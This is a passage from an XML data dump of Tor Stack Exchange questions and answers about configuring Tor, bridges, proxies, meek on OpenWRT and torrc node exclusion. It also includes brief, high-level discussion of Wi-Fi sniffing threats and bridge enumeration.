LastEditDate="2016-01-25T01:25:13.633" LastActivityDate="2020-07-09T15:14:47.587" Title="Could not launch managed proxy executable at '/usr/bin/obfs4proxy' ('Operation not permitted')" Tags="|obfsproxy|obfs4|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9521" PostTypeId="1" CreationDate="2016-01-22T20:01:40.940" Score="0" ViewCount="428" Body="&lt;p&gt;I'm trying to setup a hidden service, I've tunneled my server though tor, however things like gethostbyname is leaking my real ip address, I have no clue why its doing that, while curl doesn't....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I'm missing.&lt;/p&gt;&#xA;" OwnerUserId="10583" LastActivityDate="2016-01-23T13:34:44.190" Title="PHP keeps leaking IP address" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9522" PostTypeId="1" CreationDate="2016-01-23T02:20:56.453" Score="0" ViewCount="2325" Body="&lt;p&gt;I need to set up a private Tor Bridge on Port 80 to bypass censored connections. How do I go through this process on windows?&lt;/p&gt;&#xA;" OwnerUserId="10586" LastActivityDate="2019-05-08T08:01:45.303" Title="Setting up a private tor bridge on windows" Tags="|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9525" PostTypeId="2" ParentId="9522" CreationDate="2016-01-23T08:25:25.887" Score="1" Body="&lt;p&gt;First you need to download &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser&lt;/a&gt; and install it. Once the installation is complete, launch the Tor Browser you will be presented with a window as shown below. Click the second button that says &quot;Configure&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N5dm7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5dm7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next screen slick &quot;yes&quot; and then &quot;Next&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6Qhd9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Qhd9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following windows, the default configurations should work in most cases, so keep clicking &quot;next&quot; (or change settings as per your wish - especially the one about the local proxy). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you will have to wait until a connection is made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oiiYc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oiiYc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2016-01-23T08:25:25.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9528" PostTypeId="2" ParentId="9521" CreationDate="2016-01-23T13:34:44.190" Score="1" Body="&lt;p&gt;an answer is simple, not tied to PHP only :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use 127.0.1.1, 127.0.1.2 etc dedicated localhost-&lt;em&gt;like&lt;/em&gt; IPs for each of dedicated hidden services. Do &lt;strong&gt;not&lt;/strong&gt; use 127.0.0.0/24 subnet at all - it will expose your localhost!&lt;/li&gt;&#xA;&lt;li&gt;Use ISC bind for &lt;strong&gt;all&lt;/strong&gt; dns lookups on a host. Pair it with Tor DNS port, and in a reverse zone assign xxx-dot-onion names to IP's from pt.1&lt;/li&gt;&#xA;&lt;li&gt;As a backup for pt.2 use &lt;code&gt;/etc/hosts&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;In your service's webserver bind the server to IP's from pt.1 and suppy a corresponding hostnames to virtualhosts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-23T13:34:44.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9529" PostTypeId="1" CreationDate="2016-01-23T14:25:55.053" Score="11" ViewCount="67504" Body="&lt;p&gt;When I open windows 10 settings and then &quot;Network &amp;amp; Internet&quot; I see:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Settings -&amp;gt; Network &amp;amp; Internet  &#xA;                                    1. Data usage&#xA;                                    2. VPN&#xA;                                    3. Dial-up&#xA;                                    4. Proxy  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I choose Proxy... I see Manual proxy setup. I input address and port:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     Address             Port&#xA;     127.0.0.1           9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And saved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I was trying to use Microsoft edge as a default browser.&lt;br&gt;&#xA;But it said me that: &quot;&lt;strong&gt;Tor is not an HTTP Proxy&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      It appears you have configured your web browser to use Tor as an HTTP proxy. &#xA;      This is not correct: Tor is a SOCKS proxy, not an HTTP proxy. &#xA;      Please configure your client accordingly. &#xA;&#xA;      See https://www.torproject.org/documentation.html for more information. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So please help me!&lt;br&gt;&#xA;Tell me how to use &lt;strong&gt;Tor proxy&lt;/strong&gt; for Microsoft edge? Or for skype? Or even for games? &lt;/p&gt;&#xA;" OwnerUserId="1887" LastActivityDate="2022-05-24T02:24:43.683" Title="How to set Tor proxy for Windows 10 instead of VPN?" Tags="|windows|socks|proxy|torsocks|pre-tor-proxy|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9530" PostTypeId="2" ParentId="9529" CreationDate="2016-01-23T15:02:47.837" Score="2" Body="&lt;p&gt;Tor is &lt;strong&gt;not a http proxy&lt;/strong&gt; but it is a &lt;strong&gt;SOCKS proxy&lt;/strong&gt;, so please put your options (127.0.0.1:9150) in the socks field. :)&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2016-01-23T15:02:47.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9531" PostTypeId="2" ParentId="9529" CreationDate="2016-01-23T15:58:31.390" Score="4" Body="&lt;p&gt;Tor not just a &lt;strong&gt;not http proxy&lt;/strong&gt; - it's a transparent proxy with host-mapping features and DNS + SOCKS backend. If you want it as a VPN, especially on Windows 10, you &lt;strong&gt;MUST&lt;/strong&gt; use a separate box as a router, where you'll actually route all the traffic through Tor. I've made some research in Windows 10 case, and here's a conclusion :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you're using laptop, &lt;em&gt;physically&lt;/em&gt; remove a WiFi card! Even being patched by Ethernet, Win10 can seamlessly &lt;em&gt;fall back&lt;/em&gt; to WiFi. How to check/reproduce: connect your laptop to WiFi, then by ethernet to your router and disable wireless connection in Network settings. Even disable it by your laptop hotkey. Use Internet, and plug out an ethernet - you'll see, that &lt;strong&gt;by magic wand&lt;/strong&gt; your WiFi will be up again and working!&lt;/li&gt;&#xA;&lt;li&gt;Use a h/w(physically) dedicated connection for it, because OS will try to avoid using proxies, even set with a System-Wide proxy settings. How to check/reproduce: use a dumb/non-smart switch and a separate computer with Wireshark or TCPDump.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For usage of Tor as a HTTP and HTTPS proxy use &lt;a href=&quot;https://github.com/jech/polipo&quot; rel=&quot;nofollow&quot;&gt;polipo&lt;/a&gt; &lt;strong&gt;with resolver disabled&lt;/strong&gt;! Use SOCKS backend of Tor as a resolver.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-23T15:58:31.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9532" PostTypeId="2" ParentId="4028" CreationDate="2016-01-23T16:02:40.560" Score="0" Body="&lt;p&gt;When compiling OBFS proxy, you'll see a set of options, enabling or disabling some features, including obfs3, so try to compile it by hand from the &lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfsproxy.git&quot; rel=&quot;nofollow&quot;&gt;latest git tree&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-23T16:02:40.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9533" PostTypeId="1" AcceptedAnswerId="9534" CreationDate="2016-01-23T23:46:54.837" Score="1" ViewCount="132" Body="&lt;p&gt;Bridges exist in the Tor network to circumvent censorship by not publishing them all at the same time or as a full list. So far so good...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can a powerful adversary, like for example China, be prevented from learning all bridges? I read a lot about &quot;not all bridges being published&quot;, etc. But I have a hard time to believe that this strategy really works against big players in the censorship business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I miss something?&lt;/p&gt;&#xA;" OwnerUserId="10599" LastEditorUserId="8197" LastEditDate="2016-01-24T12:03:56.867" LastActivityDate="2016-01-24T12:03:56.867" Title="Bridges - How to prevent a big adversary to learn all bridges" Tags="|bridge|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9534" PostTypeId="2" ParentId="9533" CreationDate="2016-01-24T02:27:37.277" Score="2" Body="&lt;p&gt;It works, and exactly like this! To learn published bridges you need :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A working Perl + some modules(email-related)&lt;/li&gt;&#xA;&lt;li&gt;A working list of emails &lt;strong&gt;OR&lt;/strong&gt; a script to create ones&lt;/li&gt;&#xA;&lt;li&gt;A...Tor client(!!!) for making an online requests for bridges via email as described &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en#FindingMore&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've made such a script and had over 50 bridges in Russia, listed by IP addresses... A beer-box task, nothing complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more people will just run Tor, the less effective per-IP blocklists will be.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-24T02:27:37.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9535" PostTypeId="2" ParentId="9196" CreationDate="2016-01-24T02:30:06.853" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/foxyproxy-standard/&quot; rel=&quot;nofollow&quot;&gt;FoxyProxy&lt;/a&gt;. Tor Browser is a Firefox, so it will fit&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-24T02:30:06.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9536" PostTypeId="2" ParentId="9495" CreationDate="2016-01-24T02:37:31.430" Score="1" Body="&lt;p&gt;Your second computer must have two separate ISP's with different IP addresses, and it should be no problem at all : you will use two virtual machines, one for &quot;using net securely&quot;, you will connect to it's VNC through Tor for a first time via first Internet connection, and this VM will go outside through a second VM, that will be a Tor router, WAN-bridged to a second Internet connection.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-24T02:37:31.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9537" PostTypeId="2" ParentId="2061" CreationDate="2016-01-24T02:45:13.180" Score="0" Body="&lt;p&gt;If you're not using automatic host mapping, there will be no ping : Tor transparent proxy and SOCKS proxy are TCP tunnels only, no ICMP or UDP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the tutorial is VERY weird, IMHO. Try to use TransPort as a divertion target, as it supposed to be used. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-24T02:45:13.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9538" PostTypeId="1" CreationDate="2016-01-24T07:37:50.680" Score="1" ViewCount="231" Body="&lt;p&gt;My add-ons are not updating, no matter how many times I restart tor browser. In my add-ons tab I have these messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTPS-Everywhere will be updated after you restart Tor Browser. &#xA;&#xA;NoScript will be updated after you restart Tor Browser. &#xA;&#xA;Tab Mix Plus will be updated after you restart Tor Browser. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the grayed-out section at the bottom of the add-ons tab I see the updates have been downloaded, but not installed over the old versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tab Mix Plus will be installed after you restart Tor Browser. &#xA;&#xA;DownThemAll! will be installed after you restart Tor Browser. &#xA;&#xA;NoScript will be installed after you restart Tor Browser. &#xA;&#xA;HTTPS-Everywhere will be installed after you restart Tor Browser. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is stopping these updates and new add-ons? What can I do to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I tried a fresh install of TBB, but the same issue prevails. It seems to have crept in somewhere as new versions of TBB were produced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPS: It would be good if a Tag was available for HTTPS-Everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional info: OS is Windows 8. Tor installation is on external HD. Updates to Tor itself are successful, but I'm stuck with outdated add-ons. If anybody knows a way to force TBB to accept the add-on updates I'd very much appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: I copied my Tor Browser folder to a different external device and ran it from there, but the add-ons have still failed to update. I conclude this problem is not specific to a particular external device. As I had the same problem on a fresh installation, I also conclude it's not due to peculiarities in my installation. Ron, thanks for your suggestions (I don't have the ability to Comment underneath) but I'm not sure how they apply to my situation. No other versions of Firefox have trouble updating add-ons. I don't use Zone Alarm. Downloading the updates is not a problem. Applying the downloaded updates is the problem. I'd be happy to hear your further suggestions or clarifications, but StackExchange makes it very hard to respond to each other. What I'm doing now, editing the initial post, seems the only mode available for me to communicate.&lt;/p&gt;&#xA;" OwnerUserId="10600" LastEditorUserId="10601" LastEditDate="2016-02-17T10:16:05.830" LastActivityDate="2016-02-17T10:16:05.830" Title="My add-ons are not updating when tor browser is restarted" Tags="|add-on|noscript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9540" PostTypeId="1" CreationDate="2016-01-24T13:01:51.697" Score="2" ViewCount="285" Body="&lt;p&gt;(NOTE: I've read other similar questions, but I'm not at all certain about this, therefore I'm asking.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I travel a lot, and I generally use public WiFi spots and hotels/hostels/boarding houses etc. access points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a reporter. Sometimes I send my communications to email services and websites which don't use SSL cryptography (no https, just http), and though I KNOW this is not smart, I have no alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is if someone locally sniffing the network could read what I send to unprotected (no https) websites. If I send multimedia, pictures, audios etc., can they see/listen to them? Can they see what sites exactly I'm loading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what would take them? Just being connected to the same network? Having direct access to the router?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I'm talking about people using the same network, snooping locally, and thinking about the data just after it leaves my PC and after it leaves the end node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10605" LastActivityDate="2016-01-24T19:41:54.163" Title="Can someone use WiFi snooping to see data I send through Tor Browser when I'm not using SSL?" Tags="|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9542" PostTypeId="2" ParentId="9540" CreationDate="2016-01-24T15:06:17.427" Score="1" Body="&lt;p&gt;The Tor client is running on your local machine, and is responsible for adding the &lt;a href=&quot;https://tor.stackexchange.com/questions/627/does-tor-encrypt-a-clients-connection-to-its-entry-node?lq=1&quot;&gt;layers of encryption&lt;/a&gt; required by onion routing. Therefore your traffic is encrypted &lt;em&gt;before&lt;/em&gt; it leaves your computer (i.e. before it is broadcast over the Wifi connection in your proposed situation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're not using SSL (i.e. TLS), you could be vulnerable in other ways. The main threat would be a &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index6h1&quot; rel=&quot;nofollow&quot;&gt;Man-in-the-Middle attack&lt;/a&gt;, either by a &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index4h1&quot; rel=&quot;nofollow&quot;&gt;rogue exit node&lt;/a&gt;, or an intermediary between the exit node and website you're visiting. The Tor Browser comes with HTTPS-Everywhere as standard, and tries to enforce the use of TLS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow&quot;&gt;this useful EFF infographic&lt;/a&gt; to understand your threat model in the absence of TLS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a VPN in conjunction with Tor doesn't help in this case, as a Man could position himself in the Middle of where you exit the VPN and the website you're visiting. &lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-01-24T15:16:40.287" LastActivityDate="2016-01-24T15:16:40.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9543" PostTypeId="2" ParentId="9540" CreationDate="2016-01-24T19:41:54.163" Score="0" Body="&lt;p&gt;It would take them to :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;To just wiretap/eavesdrop in &quot;FULL-STEALTH mode&quot; it is required to be able to control the router. Some public routers are poorly secured ones, so they can be easily hijacked&lt;/li&gt;&#xA;&lt;li&gt;To try to sniff your traffic with minimal self-exposure risk and having no special equipment they just need to be on the same network. It's a WiFi feature abuse, it's called CTO(Call To Others), it's usually enabled by default in your wifi card drivers, and in some VERY simple routers it's even un-disableable. An attacker enters &quot;promicious mode&quot;, basically enabling himself to receive copies for all the packets.&lt;/li&gt;&#xA;&lt;li&gt;If an attacker is properly equipped for an active intrusion - it can create a clone for free hotspot and grab all the traffic to himself. Or even create a &quot;free WiFi cheese&quot; hotspot.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should use a middlebox, routing all the traffic through Tor for you, then it will not matter where you're coming out from.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-24T19:41:54.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9544" PostTypeId="1" CreationDate="2016-01-25T17:23:50.960" Score="2" ViewCount="782" Body="&lt;p&gt;I was trying to find out a way to install tor meek on OpenWRT. Can someone tell me how to cross compile the meek client with OpenWRT? &lt;/p&gt;&#xA;" OwnerUserId="10620" LastEditorUserId="88" LastEditDate="2016-01-28T16:06:14.720" LastActivityDate="2016-06-27T01:27:42.350" Title="How to install tor meek TP on openwrt flashed router?" Tags="|pluggable-transports|meek|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9545" PostTypeId="1" AcceptedAnswerId="9547" CreationDate="2016-01-26T01:54:07.173" Score="0" ViewCount="2509" Body="&lt;p&gt;I used this torr config &lt;a href=&quot;https://bitcointalk.org/index.php?topic=331077.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=331077.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientOnly 1&#xA;&#xA;EnforceDistinctSubnets 0&#xA;&#xA;UseEntryGuards 1&#xA;&#xA;NumEntryGuards 8&#xA;&#xA;GeoIPExcludeUnknown 1&#xA;&#xA;EntryNodes AutonomyCube,AccessNow000,AccessNow001,AccessNow002,AccessNow003,AccessNow004,AccessNow005,AccessNow006,AccessNow007,AccessNow008,AccessNow009,AccessNow010,AccessNow011,AccessNow012,AccessNow013,AccessNow014,AccessNow015,AccessNow016,AccessNow017,AccessNow018,AccessNow019,DigiGesTor1e1,DigiGesTor1e2,DigiGesTor1e3,DigiGesTor1e4,DigiGesTor2e1,DigiGesTor2e2,DigiGesTor2e3,DigiGesTor2e4,orion,orilla,destiny,chulak,aurora,assk,alf,sofia,politkovskaja,lumumba,HaveHeart,hessel0,hessel1,hessel2,edwardsnowden0,edwardsnowden1,edwardsnowden2,ekumen,marcuse1,marcuse2,marylou1,marylou2,chaoscomputerclub27,chaoscomputerclub28,chaoscomputerclub29,chaoscomputerclub30,chaoscomputerclub31,chaoscomputerclub32,chaoscomputerclub33,chaoscomputerclub34,atticus,blanqui,thoreau,enjolras,luxemburg,bakunin,bakunin2,bakunin3,bakunin4,jaures,jaures2,jaures3,jaures4,DFRI0,DFRI1,DFRI3,DFRI4,DFRI5,DFRI6,DFRI7,hviv100,hviv104,hviv105,wagtail,toreffiorg,startor0fr,startor0de,startor0nl,startor0lv,startor0se,apx1,apx2,apx3,torrelay1ph3xat,torrelay2ph3xat,symphony,vikingolaf,vikinguthar,vikinghelga,vikingbjorn,tor1multisec,tor2multisec,tor3multisec,tor4multisec,tor5multisec,CalyxInstitute07,SIGAINT1,SIGAINT2,SIGAINT3,SIGAINT4,saveyourprivacyex1,saveyourprivacyexit&#xA;&#xA;ExcludeNodes Unnamed,default,kasperskytor04,37.221.171.234,tylerlockedotorg,198.58.115.210,kebab,193.142.30.66,RedOctober1917,dannenberg,193.23.244.244,dizum,194.109.206.212,Faravahar,154.35.175.225,gabelmoo,131.188.40.189,longclaw,199.254.238.52,maatuska,171.25.193.9,moria1,128.31.0.34,tor26,86.59.21.38,Tonga,82.94.251.203,{ae},{af},{ao},{az},{bh},{bi},{bn},{by},{cd},{cf},{cg},{cm},{cn},{co},{cu},{dj},{dz},{eg},{er},{et},{ga},{gm},{gq},{gt},{hn},{id},{iq},{ir},{jo},{kh},{kp},{kz},{la},{lk},{ly},{ma},{mk},{ml},{mm},{mr},{mx},{my},{ng},{om},{ph},{pk},{ps},{qa},{ru},{rw},{sa},{sd},{sg},{so},{sy},{sz},{td},{th},{tj},{tm},{tr},{ua},{ug},{uz},{ve},{vn},{ye},{zw},{ai},{aq},{as},{au},{bm},{ca},{cc},{ck},{cx},{cy},{fk},{gb},{gg},{gi},{gl},{gs},{gu},{hm},{ie},{im},{io},{je},{ky},{mp},{ms},{nf},{nu},{nz},{pn},{pr},{sh},{tc},{tk},{us},{vg},{vi}&#xA;&#xA;ExcludeExitNodes {ag},{al},{am},{ar},{ba},{bb},{bd},{bf},{bg},{bj},{bo},{br},{bt},{bw},{bz},{ci},{dm},{do},{ec},{fj},{gd},{ge},{gh},{gn},{gr},{gw},{gy},{hk},{hr},{ht},{hu},{il},{in},{it},{jm},{jp},{ke},{kg},{ki},{km},{kn},{kr},{kw},{lb},{lc},{lr},{ls},{md},{me},{mg},{mn},{mo},{mu},{mv},{mw},{mz},{na},{ne},{ni},{np},{nr},{pa},{pe},{pg},{py},{sb},{sc},{sl},{sn},{tg},{tl},{tn},{to},{tt},{tw},{tv},{tz},{va},{vc},{ws},{yt},{za},{zm}&#xA;&#xA;ExitNodes AutonomyCube,85.16.128.242,85.16.128.243,85.16.128.244,85.16.128.245,AccessNow000,AccessNow001,176.10.99.200,AccessNow002,AccessNow003,176.10.99.201,AccessNow004,AccessNow005,176.10.99.202,AccessNow006,AccessNow007,176.10.99.203,AccessNow008,AccessNow009,176.10.99.204,AccessNow010,AccessNow011,176.10.99.205,AccessNow012,AccessNow013,176.10.99.206,AccessNow014,AccessNow015,176.10.99.207,AccessNow016,AccessNow017,176.10.99.208,AccessNow018,AccessNow019,176.10.99.209,DigiGesTor1e1,DigiGesTor1e2,176.10.104.240,DigiGesTor1e3,DigiGesTor1e4,176.10.104.241,DigiGesTor2e1,DigiGesTor2e2,176.10.104.243,DigiGesTor2e3,DigiGesTor2e4,176.10.104.244,orion,94.242.246.24,orilla,94.242.252.41,destiny,94.242.246.23,chulak,176.126.252.11,aurora,176.126.252.12,assk,62.102.148.67,alf,77.247.181.166,sofia,77.247.181.162,politkovskaja,77.247.181.165,lumumba,77.247.181.163,HaveHeart,77.247.181.164,hessel0,109.163.234.2,hessel1,109.163.234.4,hessel2,109.163.234.5,edwardsnowden0,109.163.234.7,edwardsnowden1,109.163.234.8,edwardsnowden2,109.163.234.9,ekumen,95.142.161.63,marcuse1,178.20.55.16,marcuse2,178.20.55.18,marylou1,marylou2,89.234.157.254,chaoscomputerclub27,77.244.254.227,chaoscomputerclub28,77.244.254.228,chaoscomputerclub29,77.244.254.229,chaoscomputerclub30,77.244.254.230,chaoscomputerclub31,217.115.10.131,chaoscomputerclub32,217.115.10.132,chaoscomputerclub33,217.115.10.133,chaoscomputerclub34,217.115.10.134,atticus,46.239.117.180,blanqui,thoreau,46.165.221.166,enjolras,81.89.96.88,luxemburg,81.89.96.89,bakunin,178.16.208.57,bakunin2,178.16.208.59,bakunin3,178.16.208.61,bakunin4,178.16.208.55,jaures,178.16.208.56,jaures2,178.16.208.58,jaures3,178.16.208.60,jaures4,178.16.208.62,DFRI0,171.25.193.20,DFRI1,171.25.193.77,DFRI3,171.25.193.235,DFRI4,171.25.193.78,DFRI5,171.25.193.25,DFRI6,171.25.193.132,DFRI7,171.25.193.131,hviv100,194.104.0.100,hviv104,192.42.116.16,hviv105,79.98.107.90,wagtail,77.109.139.87,startor0se,95.215.45.187,startor0lv,185.61.149.43,apx1,176.9.25.72,apx2,85.10.210.199,apx3,5.9.36.66,toreffiorg,212.16.104.33,saveyourprivacyex1,185.100.86.100,saveyourprivacyexit,185.100.84.82,vikingolaf,193.107.85.61,vikinguthar,193.107.85.62,vikinghelga,193.107.85.56,vikingbjorn,193.107.85.57,tor1multisec,193.90.12.86,tor2multisec,193.90.12.87,tor3multisec,193.90.12.88,tor4multisec,193.90.12.89,tor5multisec,193.90.12.90,CalyxInstitute07,82.94.251.227&#xA;&#xA;LongLivedPorts 21, 22, 80, 443, 706, 1863, 5050, 5190, 5222, 5223, 6523, 6667, 6697, 8300, 9001, 9030&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I still get US and sometimes Canadian Exit nodes I added &lt;code&gt;{ca} {uS}&lt;/code&gt; to &lt;code&gt;excludenodes&lt;/code&gt; but still happens any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="10625" LastEditorUserId="8197" LastEditDate="2016-01-28T16:07:07.747" LastActivityDate="2016-01-28T16:07:07.747" Title="Block nodes in torrc hidden service" Tags="|configuration|onion-services|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9546" PostTypeId="2" ParentId="9544" CreationDate="2016-01-26T01:57:08.227" Score="1" Body="&lt;p&gt;You can't cross-compile using OS, you need a &lt;a href=&quot;https://wiki.openwrt.org/doc/howto/obtain.firmware.sdk&quot; rel=&quot;nofollow&quot;&gt;cross-compiling environment&lt;/a&gt; and you're also required to cross-compile &lt;a href=&quot;https://golang.org/doc/install/source&quot; rel=&quot;nofollow&quot;&gt;Go language from source&lt;/a&gt;. Also take a close look at special &lt;a href=&quot;https://github.com/GeertJohan/openwrt-go/issues/2&quot; rel=&quot;nofollow&quot;&gt;Go fork for OpenWRT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that make a &lt;a href=&quot;https://github.com/arlolra/meek&quot; rel=&quot;nofollow&quot;&gt;Meek source compiled&lt;/a&gt; =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-26T01:57:08.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9547" PostTypeId="2" ParentId="9545" CreationDate="2016-01-26T02:01:20.027" Score="0" Body="&lt;p&gt;You're missing &lt;code&gt;StrictNodes 1&lt;/code&gt; directive in your &lt;code&gt;torrc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;, it says explicitly :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;StrictNodes 0|1&lt;/p&gt;&#xA;&lt;p&gt;If StrictNodes is set to 1, Tor will treat the ExcludeNodes option as a requirement to follow for all the circuits you generate, even if doing so will break functionality for you. If StrictNodes is set to 0, Tor will still try to avoid nodes in the ExcludeNodes list, but it will err on the side of avoiding unexpected errors. Specifically, StrictNodes 0 tells Tor that it is okay to use an excluded node when it is necessary to perform relay reachability self-tests, connect to a hidden service, provide a hidden service to a client, fulfill a .exit request, upload directory information, or download directory information. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-01-26T02:01:20.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
